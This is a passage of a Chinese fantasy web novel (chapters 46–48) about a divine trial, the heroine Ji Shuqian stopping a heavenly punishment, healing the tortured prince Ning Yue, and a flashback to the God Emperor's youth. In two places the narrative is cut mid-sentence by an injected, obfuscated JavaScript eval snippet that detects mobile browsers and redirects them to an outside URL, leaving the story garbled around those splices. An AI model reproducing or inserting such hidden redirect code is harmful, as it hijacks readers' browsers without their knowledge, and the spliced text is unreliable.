“阿姐,我去一趟。”季疏浅丢下一句话,就化作一团莹莹星辰消失在原地。 - 审判台一切准备就绪,两边的士兵肃穆地站着,劲风在台上刮的呼呼作响。 神帝立于高台之上,目光远望,有些愤怒道:“罪臣宁樾为一己私欲,不顾苍生性命,私解恶灵封印,罪证确凿!” “本该由酆都来主持这次审判大事,但酆都大帝以身救六界于水火,酆都公主还未登帝位,本神便斗胆替酆都审了这逆子。”他说的有些犹豫,可在座的人都听出了这其中不容商量的意味。 神帝扫视一眼众人的神情,心中暗自庆幸酆都公主果然还是太年轻了,一时处理不过来这些事情,到现在都没有出面表态,一切似乎都正和他意。 他藏起内心的那份欣喜,面上还是一贯的严肃:“今日在此请诸位来定个罪,由我神界来恐怕诸位疑心我们包庇,今日我想听听诸位看法。” 气氛突然陷入了十分诡异沉默,天地高渺,四周风声长吟。所有人都不约而同地垂下眼睫,没有作声。 一时窘迫,神帝看着没人出声的坐席皱了皱眉,藏在衣袖下的手指轻点。 突然,一声打破了这沉默,所有人都看向坐席上最不起眼的人皇。 他虽穿着一身锦袍,金腰带上束着好几个玉环,但因为是在场中唯一没有灵力的宾客,十分不起眼。 他忽地站起身来,怒道:“此子为害六界,依我看不如直接上天罚。” 话音落下,藏在锦袍中的手上的不起眼的火焰纹忽然熄灭了亮光。 妖帝有几分探究地看着他,随后无所谓挥了挥手,指使身旁的仙娥来给自己斟上酒。他豪爽道:“人皇说的不错,直接上天罚就是。” 他话音落下,众人又是一阵沉默。“不可。”一个清亮又陌生的声音突然说到。 众人目光纷纷看向一袭天蓝衣袍,打扮十分朴素的男子。百里珧将众人各异的目光收入眼底,他犹豫一瞬道:“我不明白宁樾他身为神族太子有什么需要他解恶灵封印的理由,况且我记得古书记载过,这种留影石也可以捏造,凭一块石头来决断一切,我认为有些武断了。” 他此话一出,交头接耳声纷纷响起,一直没有动静的宁樾微微动了动眼皮,在疼痛中尽力睁开了眼皮,可眼前是一望无际的黑,他又无奈地闭上了双眼。 “这块留影石本神查过绝无伪造可能,乃是天地灵力幻化自行记录下的。”神帝有几分威严道。 尽管他这样说,窃窃私语的声音还是没少。在心中大家都不愿相信宁越会做这种事情,况且百里珧说的太在理了,身为神族太子,从小锦衣玉食将来还能稳坐神帝之位,他没有理由去解恶灵封印。 神帝见大家神色各异,一时觉得不妙,他一时心急脱口而出:“既然如此,那就按大家说的,上天罚!” 他话一出,全场哑口无言,连他自己都后知后觉这样未免有些太过心急,一旁的神后用衣袖轻轻碰了碰他示意。 “不,我哥哥绝不会做这种事情!”少女有些沙哑却坚定的声音在审判台回响。 46. 挺身而出 众人的目光看向声音的来源,穿着白色轻纱裙的少女骑在一只金钱豹的背上自石桥上疾驰而来。往日打扮华美娇贵的小公主今日格外素净,连头发都披散着有些凌乱,在风中乱舞。 宁瑈余光看到了审判台上面目全非的宁樾,一时间泪水夺眶而出。 “滕曜,再快点。”她俯下身在豹子的耳边轻声道。 滕曜一个箭步冲了出去,转眼间他们就从石桥的一头来到了另一头与审判台相接的地方。宁瑈几乎是从滕曜的背上滚了下去,“扑通”一声跪在审判台的中间。 她双手交叠放在胸前,虔诚一拜:“今日天道在此,我宁瑈愿发毒誓,所言字字属实,如有一句为假,我愿永世不入轮回。” 她说完这句话,大口大口喘着气,滕曜在一旁蹭了蹭她,她断断续续道:“我哥哥他绝对不会做这种事情……我听酆都的墨语上神说了,在槐江山秘境中,我哥哥一直与酆都珈若公主在一块……” “这样……他怎会有机会去独自解开封印?” 她紧蹙着眉头,眼泪不断从眼中涌出,长吸一口气,像是下定了某种决心。虽然带着哭腔,但她的每一个字都掷地有声:“神帝陛下,你怎么能狠心到给自己的女儿下毒?” 她情绪突然爆发,撕心裂肺地怒道:“因为我就可以成为你手中对付哥哥最好的武器对吗?” “这样你就能让他认下一切,让他在狱中心甘情愿被折磨成这样?你怎么能这么狠心,杀了母神不说,也要对我们兄妹赶尽杀绝……” “放肆!一派胡言!”听到这句话,神帝一掌拍在玉案上,勃然大怒。 被枷锁禁锢的宁樾听完了一切动静后,双手微微颤抖,他用仅剩的内力给宁瑈传音:“小瑈……听着,这是你活下去的办法,听话……不要顶撞他。”说完,他的头又耷拉了下去。 宁瑈一听到这熟悉的声音,眼泪如决堤般涌出,她不敢相信那位她敬爱的父皇最后亲手解决了他们兄妹和母神。 一时气急攻心,她体内的毒性复发,“哇”地呕了一口鲜血出了。她捂着心口,痛苦地皱着眉,软绵绵地靠在滕耀身上滑了下去。 诸位宾客的神色都不是很好看,他们都觉得自己听了些不该听的内容,有几分忌惮,却又真的被那少女撕心裂肺的字字句句吓得不轻。 面前这位衣冠楚楚的神帝,究竟是人还是禽兽? 神帝一时间气的浑身发抖,他一拍桌子怒道:“我怎么就养了这么两个畜生!” 说完这一句后,他以一种不容拒绝的语气道:“,诸位在此见证,我将这逆子送上天罚。” 说完他还在心中暗喜,果然有了这权力的感觉就是好……一言出,四海归心,无人敢忤逆,这是他梦想了千年的权力。 坐席上的人无一人敢出声,都有些忧心地看着双眼布满红血丝的神帝。 他照着古书上行使审判台的记载指了十二个神兵布下法阵,布好阵后,他催动周身灵力连起法阵。刹那间,一道通天的光束连接天地,天地间都似颤抖了一瞬。 滚滚雷云排山倒海地涌来,有如千万匹脱缰野马奔驰而过,一道道刺目亮光划破天际,看得在座诸位心惊胆颤。 巨大声响间,宁瑈缓缓睁开了眼睛,她看清了天空间那一团酝酿已久的雷云,喘着粗气道:“……不要。” 滕曜见她醒转,轻轻蹭了蹭她,双瞳忽地变成竖瞳,发出金色淡芒。它后腿一蹬,闪电般扑向法阵的神兵,瞬间撕裂几个士兵的躯体。 在大家都没反应过来时,它直直扑向了神帝,一口撕下他手臂。神后惊叫一声,施法一掌劈向滕曜,被它躲闪开来。 一旁的元祉显得格外淡定,抽出剑对着它连挥几剑,一道闪电般的豹子突然僵直地倒在地上,抽搐了几下不动弹了。 “滕曜!”宁瑈哭着大喊道,宁樾也微微睁开眼:“不……要。” 他想到最初从妖兽口中救下它时还不到巴掌大,熟了后就天天跟着小瑈和他玩,最喜欢躺在地上让小瑈给它揉肚皮,虽然有些时候很调皮一点也不让他们俩省心,但是关键时刻总是冲出来挡在小瑈面前…… 他恨自己现在什么都做不了……或许他从一开始就不该对他们抱有期待。 神帝反应过来后捂住自己的胳膊,连忙传唤几名神医,看了眼倒在地上的豹子喘着恶气道:“连教出来的豹子都这般凶残,更是留不得了!” 他连忙补上几名神兵,地上被拖走的神兵留下一道道触目的血痕。补上的瞬间,停止轰鸣的雷声又开始猛烈地咆哮着。 天上的雷云汇聚地越来越大,看得在座的人心底一阵寒意,传说中的审判台天罚会让人万劫不复,永世不入轮回。灰飞烟灭的神仙妖魔都可再入轮回,可上过审判台的人就再无往生。 虽面上没什么波澜,但大家都对这审判台有几分忌惮,皆是蹙眉看着天际上挂着的轰鸣雷电。 雷电似是酝酿到位了,刺目白光一现,天地似乎都为之颤抖。巨大的轰隆一声,一道雷电对着枷锁上挂着的人直直劈下。 宁瑈见着雷电劈下,起身想要挡下这一击,沉默了全程的元容与闪身一把拉住了她。 ‘放开我!” 雷电没有等他们俩拉扯,轰隆一声落下,禁锢被劈的噼里啪啦,火花在铁链上迸发。 “哥!”宁瑈看着台上血肉模糊剧烈一颤的人大喊道,两眼一翻晕死过去,吐出一大口鲜红的血。 宁樾在那一刹那只觉得自己魂魄被抽离出来狠狠击碎,但是一击之后他却有些庆幸地发现自己还能感知到痛觉……还好,还没有魂飞魄散…… 雷电轰鸣,电光四起,神帝看好戏似的看着天空中的雷云……第二下,他不信他还能撑过去。 轰轰雷声传来,雷云中似酝酿着一道惊雷。在场的人要不是屏息凝神地看着那团雷云,要不是闭上了眼不忍再看。 伴随着轰隆一声,惊雷落下。“啪、啪、啪……”接连几声响,意料之中的魂飞魄散的画面没有出现,阴沉的天空瞬间炸开了几朵绚丽烟花,浅蓝的天幕重现,一朵朵晶莹烟花绽开。 细看那并不是烟花,而是一道道落下的雷电被瞬间冻上,似天空中绽开了一朵朵冰花,白日忽然星辰轮转,冰花一点点化作满天星辰,落下无数星光,消失的无影无踪。 刚刚汇聚的雷云也在刹那间散开,万丈苍穹,星辰轮转,凝成了一尊巨大神像,神像前似披着星辰的女子俯瞰着所有人。 天瞬间转为湛蓝,没有一缕浮絮,瑰丽地熠熠发光。 季疏浅蹙眉看着血肉模糊、奄奄一息的宁樾,在心中暗自庆幸自己来的及时。 她一时也没明白,要是宁樾在这里就魂飞魄散了,那他是如何成的魔尊? 她压下心中怒气,端着一副冰冷威严的样子缓缓道:“神帝,你眼中没有我这位酆都大帝了吗?” 在场的人都为这异象震惊,没有人想到这位酆都公主出手就将这威力无比的天罚生生拦下。 他们不约而同地看向天际间流转的星辰和那尊占据天幕的神像,女子神色淡淡的,淡金色的眼眸看不出情绪,仿佛天地万物于她而言不过虚无。同时他们也将目光看向了被两名神医围住的神帝,想看他作何解释。 神帝怔怔地看着季疏浅,一时说不出话来,怎就在这关键时刻来了?他怒火填满胸腔,可偏偏这一腔怒火又无处发泄。 他看着珈若,尴尬笑了笑:“珈若啊,你来的正巧,想必你也听说了吧,今日我们在此审判宁樾这一罪臣的事。” 季疏浅看着他这副嘴脸只觉得可笑,她淡淡道:“哦?我近日闭关,没听说过。” 她话一出,所有人都将目光投向了神帝,想看他作何解释。神帝一时语塞,他本想瞒着酆都处理了宁樾,事后再来解决不迟,可没想到她突然来到审判台。 他低头“呵呵”笑了两声:“珈若啊,我这个做长辈的也是看你事情太忙了,就想着替你分忧……” 季疏浅本就不打算和他寒暄,听到这话微微蹙起眉头,冷笑一声,打断了他:“神帝,如今我接任酆都大帝之位,论辈分该是高你一阶。” 她没有给他留一丝情面:“你这可是替我擅作主张啊。” 神帝脸一阵白一阵红的,他一时没有回答上季疏浅的话愣在原地。 季疏浅也没理会他,瞥了一眼倒在地上的滕曜和晕过去的宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若说她来之前还没有那么坚定,在见到这里情形时,她就下定决心要给宁樾讨一个公道……哪怕这是在皎月调中。 最终她是要杀了他,可在这过程中她不愿见他受这么多不公。 神帝见她神情格外冷峻,一时心虚,差点卸下了伪装。但面对这席上坐的六界来宾他依然强撑着伪装,坚持道:“珈……酆都大帝,您可验验那留影石,绝对没有问题。” 季疏浅看着他笃定的神情微微皱了皱眉头,她知道宁樾不会这么做,那块留影石多半有诈,可他为何敢这样轻松让她验真假。 “那将留影石给我。”她看着神帝,还是决定一探究竟,万一他赌的就是自己不查呢。 神帝点了点头,吩咐手下递去一块留影石,季疏浅将手轻轻放在留影石上。一帧帧画面在她脑海闪过,她果真没发现什么异样。 但她看着留影石中那个宁樾,总觉得有一丝说不上来的不对劲,那丝异样能让她笃定这绝不是宁樾。 眼下她也确实不能拿着这块留影石说事,她打算带回酆都让手下能人看看,能否找出不对劲的地方。 “这块留影石确实没有异样,但是我还得带回酆都再查查。” 听到这里,神帝松了一口气,神后面上也出现一丝久违的欣喜。但还没高兴多久,季疏浅话锋一转:“神帝,你为何在审判之前动用私刑?” 话音落下,所有人一顿,这个问题刚刚他们已经听到了神帝模棱两可的解释,不知道这回面对酆都大帝他们会有何解释。 神帝愣了愣,讪讪笑着:“他在狱中多有冲动……”他看着眼前年纪轻轻却格外咄咄逼人的季疏浅,突然心一横,充其量不就是个小丫头,他语气一变:“不过这是我神界私事,轮不到酆都插手吧。” 现场格外热闹,大家都看得清楚,神帝这下是真要和酆都撕破脸面了,都一副事不关己的闲散模样看着眼前闹剧。 听到他这话,季疏浅突然想起什么好笑的事,垂眸看了一眼靠在她肩上的宁樾,冷笑一声:“神帝可是忘了,我与太子殿下宁樾有婚约在身。” “本神未婚夫的事,怎就不能插手了?” 47. 疗伤 此话一出,全场静了两分。 季疏浅怀里的宁樾忽然动了动,他微微睁开眼,看着那一片黑,想象着女子的神情,轻轻唤了一声:“疏浅……” 季疏浅看向他,一对上那空空的眼眶心头一紧,记忆中那双缀满星辰好看的眼睛不复存在,只剩下两个黑洞洞的窟窿。 她轻颤着手摸了摸他伤痕累累的后背,颤着声轻轻安抚道:“我在。” 宁樾若有所感地将头在她肩头轻轻蹭了蹭,疏浅身上淡淡的香味让他这几日被疼痛折磨的神经有一瞬缓解,他发现自己很贪恋这股香味。 季疏浅看了看他拧起的眉头,用食指点在他脖颈的经脉处,帮他减轻几分疼痛,但经脉碎的太厉害,她一时也没法完全使其愈合。 众人看着他们俩以这样的姿势站在审判台中间,尴尬地看向神帝。 珈若说的在理,酆都公主与神族太子的婚约六界皆知,名义上宁樾是她未婚夫,她插手似乎也说得过去。 神帝看着她一时语塞,蹙眉看着她,神情冷的和千年未化的寒冰一般。珈若继任酆都大帝之位又如何,不过就是个小丫头,竟然敢当着六界宾客的面顶撞他。 这置他颜面于何地,置神界颜面于何地? 他一时激动,脸色涨得通红,刚接上的断臂处还隐隐作痛。 在珈若没来时,他刚刚尝到这无上权力的感觉,六界的奉承、众人的忌惮……这一切他盼了千年,好不容易除去了一切绊脚石,这一千载难逢的时机他不能错过! 这么想着,他右手一挥,顿时绽开一片炫目的金色光芒,长剑应声出鞘。神后见他这一举动,眉头一皱,一把拉住他。 但是此刻他已经近乎疯狂,骨子里的骄傲让他不愿意再妥协,今日他一定要将这一切拿回来。 宾客们都被他这一举动吓到了,随身带着的护卫纷纷挡在他们身前。善慧和本初对视一眼,目光中没有惊讶,沉默地在座位上稳坐不动。 一直在沉默中的元容与忽然闪身过去一把扼住了神帝的手腕,怒斥道:“父皇!” 神后神色一变,想要制止他已经来不及了。神帝看着他一时怒气更盛,刚接上的左臂一肘,将他打飞出去。 元容与在地上喷出一口血来,他抬起袖子擦了擦,带着几分恳求:“父皇,您到底要如何?” 神帝看了他一眼并未答复,元容与继续道:“父皇,停手吧,您这样只会闹的六界不安宁。” 神帝没有理他,一掌劲风挥出,元容与来不及躲开,直直接下一掌,踉跄着后退两步,喷出一大口血来。 季疏浅看着神帝内心发笑,但看见冲出来的元容与时不由得蹙起眉头,一股发自内心的厌恶涌上心头,许多被她刻意忽视的回忆刹那间浮现。 神帝看着季疏浅,冷笑一声:“酆都一统六界多年,我们心服口服,那是因为先帝能力卓群,有制住六界的能力……但你年纪尚轻,德不配位!” 他越说越激动,脱口而出:“你本就不是酆都正统!天道创造出历代酆都大帝,传的是天道最纯正的力量。而你,是你父皇和上神所生的孩子。” 他话音落下,在场一片鸦雀无声。他后知后觉失言,毕竟在珈若出生那天天道便认下了这个孩子…… 季疏浅倒是第一次听说这件事,微微蹙眉理了理这其中关系。所以说过往历代酆都大帝都是天道直接创造出来的,而只有珈若是酆都大帝和她母神生出来的。 她看着神帝,淡淡道:“所以呢?”她不是珈若根本不会被这句话挑动情绪,而她也知道以珈若的性子听了这种话,只会是恍若未闻的神情,根本不会同他多言。 神帝看着所有人的神情,怒火攻心,他不能容忍别人一怒之下将长剑一转,朝着季疏浅心口而去。 他出剑的速度确实很快,季疏浅小小愣了一下,微微侧身避开。自打她闭关将那股力量同她融为一体后,她似乎就能随心所欲地做一切事情,就像避开这一剑一般轻松。 而在在场其他人眼里,珈若环住宁樾闪身避开,留下一片耀眼星辰。 “墨语。”季疏浅眉头一皱:“扶一下宁樾。” 电光火石间,神帝第二剑驾着劲风刹那间就来到面前。季疏浅抬眸就被剑身的耀眼光芒一闪,下意识聚起灵力夹住迅疾长剑。 淡淡的灵力缠绕住剑身,似无形的藤蔓禁锢住猛烈的剑气。霜花在剑身绽开,蔓延至那只握剑的手上。神帝感到一股刺骨寒意爬上手臂,身体瞬间像被冰霜冻结了一般,他急忙带动手臂,想要抽离出,却发现怎么也逃不出这禁锢。 季疏浅看着他,眼睛微微眯了下,手腕一转,“咔嚓”一声脆响,将剑身折断。她毫不在意地将那一小截剑尖扔了出去,抬眸凌厉地看向他,一掌拍去。 瞬间,剑身一点点碎裂,似银镜坠地碎裂开来,复又化作片片星辰,消失在空中。这一掌最后猛的拍在神帝的胸口上,在他没反应过来时,就已重重落下。 他眼前一黑,恍若掉入一个无底黑洞。半晌后醒转过来,才发现自己已经倒在审判台上,身下还有一摊已经凝固的血迹和一堆碎屑般的铁链残片。 神后扶着他,眉眼间有一团挥之不去的焦虑,见他醒了才长舒一口气:“陛下。” 他正想安慰她两句,却发现自己说不出任何话,瞬间脸上没了血色。 季疏浅带着几分凉意看着他,在虚空中一点,萤火虫一样的星辰跟随着她的动作慢慢地变成一个手铐。她无视了众人惊讶的神情,将手铐往他手上一扔,牢牢地铐了起来。 “神帝,这下你还有意见吗?” 神帝看着她说不出话,只能面色通红地摇头。他这副窘样落在众人眼中都有几分可笑,但大家更多的还是对珈若的忌惮。 一个不过千岁的小姑娘,竟然毫不费力地将内力傲居众人之上的神帝打的没有还手之力。 季疏浅看着他,没有什么神情淡淡道:“神帝,你跟我动手这件事情,我可以既往不咎,但是神魔两界的事我不能不管,按例你要跟我回去接受审讯。” 她回头看向暗紫色裙子的女子:“墨语,你把宁瑈和滕曜带上,再派人把神帝押回去。” 神帝面上难堪,可是现在全身的痛让他难以做出什么反抗,只能任人宰割。而在他目光看向神后时,却发现她在目光示意两个儿子什么。 他能猜出她是提醒他们不要轻举妄动,一时只觉得荒谬。 不过从最开始他和她就是互相利用,他明白她心中打的算盘,可那时要解决宁瑶曦和她背后的魔界,他别无选择。 季疏浅从墨语怀中接过宁樾,轻轻地给他输送灵力。她扫视了一眼众人,不咸不淡道:“今日之事我会给诸位一个交代,事发突然,届时也会请诸位来酆都参加继位大典。”说完,她就消失在了审判台上。 - 回到酆都后,季疏浅看着怀里的宁樾陷入了沉默。他看起来伤的太重,一路上都是昏迷不醒的状态。 穿过重重宫殿,她抱着宁樾进了她的寝殿。敞亮却格外冷清的宫殿看起来没有一丝人味,她轻轻将宁樾放在床榻上。 季疏浅看着浑身是血的宁樾叹了口气,手指已伸到他胸口,忽然一顿,想来前世今生她两次扒男子的衣服居然都是宁樾。 但现在她也顾不了这么多,指节一弯,撕开了残破不堪的衣袍。有些地方和伤口紧紧粘在一起,饶是她见过伤口无数,也还是微微咬紧了牙关,狠心撕掉沾着血污的破布。 在撕掉他背上那块与深可见骨的伤口粘在一起的布时,宁樾似乎有所感觉,微微皱了皱眉头。季疏浅手上动作一顿,沉默片刻,轻轻在他伤口上吹了吹。 待一切清理干净后,她看着他的满身伤疤愣了愣,忽然想起在广陵城的那日,她看见浴桶中的宁樾背上遍布的可怖疤痕,原来是……这时候留下的吗? 季疏浅一时心中打翻了五味瓶,有一种被压抑的情感难以言说。她用灵力打来几盆冷水,拿着白色的绢纱轻轻拭去他身上的血迹。 一条、两条、三条……直到用到第二十一条绢纱时,他浑身上下的血迹才干净了许多。她看着一盆盆被染红的水,叹了口气。 血迹模糊了他身上的伤口,而现在清理掉血迹她真正看到那狰狞的伤口和血肉时,倒吸了一口凉气。应该是被火灼烧过,可以说得上是体无完肤,泛红的血肉有些地方已经焦黑。 她沉默了片刻,只觉得心底酸涩。皎月调中她能救他,但是现实中,没有人帮他。 她想起宁樾后背的疤痕,当时她还疑惑一个上神怎会留下伤疤。可现在她想明白了,上神不会留下疤痕,但一个被废掉经脉碎了内丹的上神会。 所以现实中的宁樾就是一点点忍受着伤口的折磨,慢慢押过去的吗? 她叹了口气,收起这些想法。手腕转了一转,轻轻置于宁樾胸口上,心想着那股力量那么磅礴,她将它炼化一下传一点给宁樾,应当是能将他全身经脉接上的。 她试着让力量经过她的内丹,但一时她自己都没承受住,内丹处一股炽热,随后阵阵绞痛像要撕裂她的内丹。忽然间喉咙一阵腥甜,她没稳住身形,微微斜了下身体,一手撑在床沿上,“嘀嗒,嘀嗒。”两滴暗红色的血滴落在床上。 季疏浅缓了缓,又继续将那股力量输进体内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538769|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她闭上双眼感受那股力量,将它炼化的没有那么强时,手指轻点传入宁樾体内。 宁樾在昏睡中,忽然一股温润的力量轻柔地传了进来,就像枯木逢春般,全身经脉躁动起来。 尽管经脉尽碎后他的五感不是很敏锐,但他还是能感觉出这股力量的磅礴,同时他也察觉出这力量中一道特殊的灵力气息,他知道这气息来自谁——疏浅。 而她也知道现在他的身体受不住这股力量,将这股力量炼化的很轻柔后再传给了他。 但他记得书上曾写过,用内丹炼化力量是一种很危险且很痛的术法…… 季疏浅自然不知道他这些心理活动,只是在完事后长舒了一口气。将手摁在他心口,原本有些冰凉的身体渐渐暖了起来。 她感受着宁樾的经脉一点点活络起来,自己都没察觉地轻轻一笑。 但在她目光上移看到宁樾的脸时,又是一阵寒意掠过心头。她不自觉地颤抖着摸了摸他血肉模糊的脸,看像那双紧闭的眼睛…… 她不明白为什么要对自己的亲骨肉下这样的重手,哪怕是想让他死,也不至于折磨至此。 她轻轻摸了摸那双凹下去的眼睛,颤抖着收回了手。叹息一声,她起身替他掖上被角,离开了寝殿。 刚离开寝殿,她就碰到了朝寝殿走来的林知意,林知意见到她关切地看着她:“今天没事吧?”但她瞧着季疏浅不太好的脸色,心下有几分猜测。 季疏浅摇了摇头,拉起她的手走到外面的花园,突然有些哽咽地说:“阿姐,这太荒谬了。” “那些书上的记载简直瞎写……真相根本就不是那样。”前世她就很喜欢缠着阿姐倾诉,后来阿姐不在了,她就没有人可说了。 不过这一世,幸好阿姐回来了…… 林知意看着她,轻轻抚了抚她的背,轻声安慰道:“可这世间就是这样,没有所谓的正义存在……”她顿了顿:“但我们能做的就是尽力将它拨回正轨。” 季疏浅看着她忽然一笑,阿姐还是像哄小孩子那样哄她,可她其实已经不是那个小姑娘了。 她假装低头笑了笑:“……好。” 墨语脚步匆匆的赶来,见到她欠身道:“殿下,神帝已经被押进大牢了。” 季疏浅点了点头,面色多了几分严肃:“好,我去审他。” - 酆都大牢,装饰的与寻常大牢截然不同。金箔贴画,碎玉成砖,琉璃飞檐,气度不凡。 刚刚的裙子在给宁樾清理血迹时沾上了鲜血,她换上了一身丁香色的衣裙。其实珈若本就生的很白,这一身衣裙衬的她更是肤若凝脂。裙摆上用晶石点缀,如星辰般熠熠生辉。 墨语看着季疏浅出神,其实他们家殿下真的生的很好看。不似妖族公主那般娇媚的美,也不似林知意冰雪出尘的美,她家殿下就是端庄又不失可爱的美。 回头刹那,亮亮的眼睛多了几分可爱。她脑补着她家殿下要是像寻常女儿家插着流苏,带着各种繁复头饰,该是什么样子,一边挂起一个笑容。 季疏浅看着对着她傻愣的墨语一时摸不着头脑,颔首道:“墨语,你今日也累了,去歇息吧,这里交给我。” 墨语一听可以休息了,笑得更加灿烂,不知道从什么时候开始,她家殿下就变的格外善解人意了。 季疏浅抬步走进关押神帝的牢狱,因着他神帝的身份,还是要留几分情面,这间牢狱更是华丽。 神帝没有被铁链铐起来,而是端坐在飞凰玉椅上,双手被术法禁锢在玉案书桌上。 见到季疏浅来了,他不露声色地看她一眼,但季疏浅看出来那一眼中压抑的恨意。 她毫不在意地在他对面坐下,微微一笑用一种透着凉意的声音说道:“神帝,你知道我想问什么吧?” 神帝看着她,忽而一笑,在她来前他就想明白了,落到珈若手里这件事早晚会水落石出,与其被她抽出记忆,还不如他自己认下这一切。况且都发生了事情,她又能如何呢? 他是神帝,他不信珈若敢对他用刑。 他也一笑,抬眸冷冷看着她:“所以呢?我认下了,陛下是要将我杀了给他们谢罪吗?” 季疏浅一愣,她没想到他居然连狡辩都不愿了,心中更是一顿恶寒。“你应该知道,酆都曾经定下规定,六界间不许为了一己私利开战吧。” 神帝轻哼一声:“规定?那是人定下的,也该由人来打破。” 季疏浅:? 怎么能厚脸皮成这样,她有些无语不想再同他耗时间,但出于对千年前这件事情来龙去脉的好奇,她指尖一点,从他脑海中抽出了这一段记忆。 48. 半生缘(帝后往事) 元?和宁瑶曦相遇在少年时,上一任酆都大帝千秋宴,六界恭贺,诸神祝寿。 彼时身为神界二皇子的元?因着父皇的教诲对魔界有莫大的敌意。宴会散会后,他在酆都极尽奢华的后花园中瞎逛,正沉迷于酆都那一朵朵晶石雕刻的四季不败的鲜花时,他遇到了同样来花园的魔界太子宁景珩。 他一眼就认出了宁景珩——这个他父皇无时无刻挂在嘴边的天之骄子,不仅觉悟高年纪轻轻就飞升成上神,在剑法上造诣极高,还生了一副好相貌。 世人总喜欢将出于同一脉的神魔两界对比,他的哥哥神族太子母胎中中毒,于修行上不佳,世人就喜欢将他与宁景珩比较。宁景珩年纪比他小上两岁,却先他飞升上神。 那时他听的最多的就是父皇的责备和叹气声,身为他所器重的儿子,他处处不如宁景珩…… 神帝对他说的最多的就是:“神界本就该高人一等,你不知道曾经的我们有多风光,现如今魔界都可以压我们一头,重振神界的重任就在我们这一代代神帝身上啊,你一定要比宁景珩更出色,让世人臣服……” 他的年少就在这些话语中度过,久而久之他都没有发现,这些话在他心中埋下一颗颗种子……他也不会预料到,这些种子最后会成为他心底深埋的巨树,挥之不去的执念。 所以在见到宁景珩的一刹那,心底的胜负欲作祟,他出了剑。多年后回想起来,他承认在那一刻他失了理智。他忘了魔界的人与生俱来的剑法造诣,不该和宁景珩比试剑法。 宁景珩瞬间反应过来,抽剑和他对上。不知是不是他的错觉,他总觉得宁景珩并未使出全力,似乎在边战边退。一时得意,他都没有发现异样。 直到反应过来时,为时已晚。 宁景珩和他在半空中激战着,不知不觉就退到了酆都大帝设宴的地方。等他有所察觉时,面前的宁景珩顽劣一笑,迅疾抽身出缠斗,旋身反刺了他肩胛骨一剑,他一时重心不稳,从半空摔了下来。 有人“扑哧”笑了一声,他狼狈地捂住了肩胛骨,白衣被鲜血染红。他不敢抬头看众人神色,其中就包括他父皇神帝。 “比来比去有意思吗?”宁景珩睨了他一眼转身离开。 “哥,你没事吧?”清甜的声音穿过众人的交谈声落入他耳中,更显得他狼狈至极。他不甘地抬眸看向站在宁景珩旁边的少女,他们兄妹俩生的皆是惊为天人,少女歪头看向宁景珩,精致的眉眼间聚满了浓浓的关切。 他低下头自嘲一笑,不敢打量坐席上他父皇的神色。只得单手撑地,想要站起来。 这时,眼前飘过一抹轻纱。一只纤纤玉手伸在他面前,他看向刚刚还在宁景珩旁边的少女,一时说不出话。 这时魔王的掌上明珠,集万千宠爱于一身的魔界公主宁瑶曦。 宁瑶曦歪头看向他:“你还能起来吗?” 自尊心作祟,他没有伸手握住那只手,自己撑着地面踉跄着站起来。宁瑶曦无所谓地收回了手,看着他片刻:“我哥脾气不好,你别跟他闹。” 没有等到回答,她一边自顾自的说着一边摊开掌心递给他:“创伤药,你抹点很快就好了。” 少女眉目如画,美得不真实。 他怔怔地接过她递来的白瓷药瓶道了句谢谢。 宁瑶曦摇了摇头,珠钗发出叮铃叮铃的脆响,不甚在意地跑到了一直皱眉抄手看着她的宁景珩身旁。 她用着软软的声音同宁景珩撒娇:“哥,你打就打,刺他干什么,都流血了……” 他没有再听接下来的话,不知所措地低下了头。 抬指间,日月如梭。他一直努力地追赶宁景珩的步伐,却又总是慢他一步。 千载难逢的槐江山秘境开放时间转眼到了,他寄希望于能在这秘境中寻到自己的机缘。 那日,他和他的废太子兄长一同经过了一个水域,他在那里发现了一个不可告人的秘密。黑压压的水域让人忍不住害怕,但眼下没有别的路可走,他只能硬着头皮上。 他一路上都气着父皇让这个拖油瓶哥哥跟进槐江山来,他不仅得照顾自己还得看着他。 那片水域之下似有什么东西呼之欲出,但他还是潜了下去。下去的一瞬间,他就被一股巨大的力气扼住了脖颈。 可等他想抽剑时,却发现全身力气都似被抽干了一样,无法动弹。 那个黑影笑着告诉他,自己是传说中的恶灵。他并不相信,恶灵不是已经被酆都大帝封印了吗。 可看见它身上缠着的巨大铁索时,他有几分相信了。 恶灵说在他死前告诉他一个秘密:它其实是他父皇养的。那时他难以置信,虽然他父皇是一个很偏执的人,但他没想到能做到这个丧心病狂的地步。 可是转念一想,他忽然就理解了他父皇。用这个恶灵来对付酆都,应该是再好不过了。而且他们只要达成利益交易,也不会酿成太惨重的祸害。 可眼下恶灵是要吃了他,就在他觉得视线已经渐渐模糊时,他那个太子哥哥不知道从哪里冒了出来。 这位难以修行的兄长在潜下水后,看到他被困竟然毫不犹豫冲过来救他。 就在恶灵放松对他的禁锢,将目光转向他兄长时,一个念头忽然在心底冒出。 他兄长本就德不配位,就因为比他先出生,占了这个嫡长子的名号,就能顺理成章成为太子……可每每被拿出来和魔界太子比较的人,都是他。 这不公平,凭什么他要占着这个位置还不用承受父皇的压力。 恨意填满了胸腔,恶念瞬间生发。在恶灵转身的刹那,他余光瞥到了一旁一个若隐若现的封印,他心一横,一把扯住了太子的衣袍,狠狠将他推进了恶灵怀中。 最后一眼,他看见了他眼中的惊诧与失落…… 他闭了闭眼,权当是做了个告别。 这一推似乎放出了他心底那个深埋已久的恶魔,覆水难收不过如此。 从封印出去,他到了一处宫殿遗址,并在那里遇到了一个意想不到的人。 